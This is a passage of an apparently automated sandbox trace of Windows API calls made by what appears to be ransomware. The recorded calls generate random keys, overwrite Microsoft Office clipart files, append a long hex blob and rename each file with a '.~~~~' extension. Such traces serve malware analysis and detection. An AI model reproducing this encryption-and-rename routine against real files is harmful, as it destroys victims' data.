	[0099.992] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28619d8
	[0099.992] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.992] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0099.992] GetLastError () returned 0x0
	[0099.993] GetLastError () returned 0x0
	[0099.993] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0099.993] GetLastError () returned 0x0
	[0099.993] GetLastError () returned 0x0
	[0100.047] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffe4d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.047] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1b2c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x1b2c, lpOverlapped=0x0) returned 1
	[0100.048] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.048] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.048] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.048] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.048] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.048] CloseHandle (hObject=0x11c) returned 1
	[0100.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.~~~~")) returned 1
	[0100.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.049] GetLastError () returned 0x0
	[0100.057] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.058] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.058] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.058] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22004814341) returned 1
	[0100.058] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa55558d0, dwHighDateTime=0x1d60e1e)) 
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862790
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862790 | out: hHeap=0x300000) returned 1
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.058] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.058] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2861c38
	[0100.059] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.059] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.059] GetLastError () returned 0x0
	[0100.059] GetLastError () returned 0x0
	[0100.059] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.059] GetLastError () returned 0x0
	[0100.059] GetLastError () returned 0x0
	[0100.164] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7ed4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.164] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x812c, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x812c, lpOverlapped=0x0) returned 1
	[0100.165] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.165] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.165] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.165] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.165] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.165] CloseHandle (hObject=0x11c) returned 1
	[0100.165] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.165] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.~~~~")) returned 1
	[0100.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.166] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.166] GetLastError () returned 0x0
	[0100.167] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.167] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.167] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.168] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22015778559) returned 1
	[0100.168] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa563a110, dwHighDateTime=0x1d60e1e)) 
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862870
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862870 | out: hHeap=0x300000) returned 1
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.168] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cdd8
	[0100.168] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.168] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.168] GetLastError () returned 0x0
	[0100.169] GetLastError () returned 0x0
	[0100.169] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.169] GetLastError () returned 0x0
	[0100.169] GetLastError () returned 0x0
	[0100.249] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xfffff188, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.249] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xe78, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0xe78, lpOverlapped=0x0) returned 1
	[0100.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.250] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.250] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.250] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.250] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.251] CloseHandle (hObject=0x11c) returned 1
	[0100.251] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.251] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.~~~~")) returned 1
	[0100.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.252] GetLastError () returned 0x0
	[0100.270] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.271] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.271] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.271] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.271] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22026131524) returned 1
	[0100.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa5744ab0, dwHighDateTime=0x1d60e1e)) 
	[0100.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.271] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28629c0
	[0100.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.272] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28629c0 | out: hHeap=0x300000) returned 1
	[0100.272] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864510
	[0100.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.289] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.289] GetLastError () returned 0x0
	[0100.289] GetLastError () returned 0x0
	[0100.290] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.290] GetLastError () returned 0x0
	[0100.290] GetLastError () returned 0x0
	[0100.342] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff87b0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.342] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x7850, lpOverlapped=0x0) returned 1
	[0100.343] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.343] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.343] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.344] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.344] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.344] CloseHandle (hObject=0x11c) returned 1
	[0100.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.344] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.~~~~")) returned 1
	[0100.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.345] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.345] GetLastError () returned 0x0
	[0100.346] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.347] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.347] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.347] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.347] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22033740563) returned 1
	[0100.347] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa57dd030, dwHighDateTime=0x1d60e1e)) 
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862a68
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862a68 | out: hHeap=0x300000) returned 1
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0100.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0100.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0100.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2864478
	[0100.348] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.348] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0100.348] GetLastError () returned 0x0
	[0100.348] GetLastError () returned 0x0
	[0100.349] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0100.349] GetLastError () returned 0x0
	[0100.349] GetLastError () returned 0x0
	[0100.384] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7a30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0100.385] WriteFile (in: hFile=0x11c, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x85d0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x85d0, lpOverlapped=0x0) returned 1
	[0100.385] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0100.385] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0100.385] WriteFile (in: hFile=0x11c, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0100.386] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0100.386] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0100.386] CloseHandle (hObject=0x11c) returned 1
	[0100.390] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0100.390] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153508.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153508.wmf.~~~~")) returned 1
	[0100.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0100.391] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0100.391] GetLastError () returned 0x0
	[0100.392] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0100.393] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0100.393] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0100.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0100.393] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22038301925) returned 1
	[0100.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa584f450, dwHighDateTime=0x1d60e1e)) 
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2862b10
	[0100.393] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0100.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2862b10 | out: hHeap=0x300000) returned 1
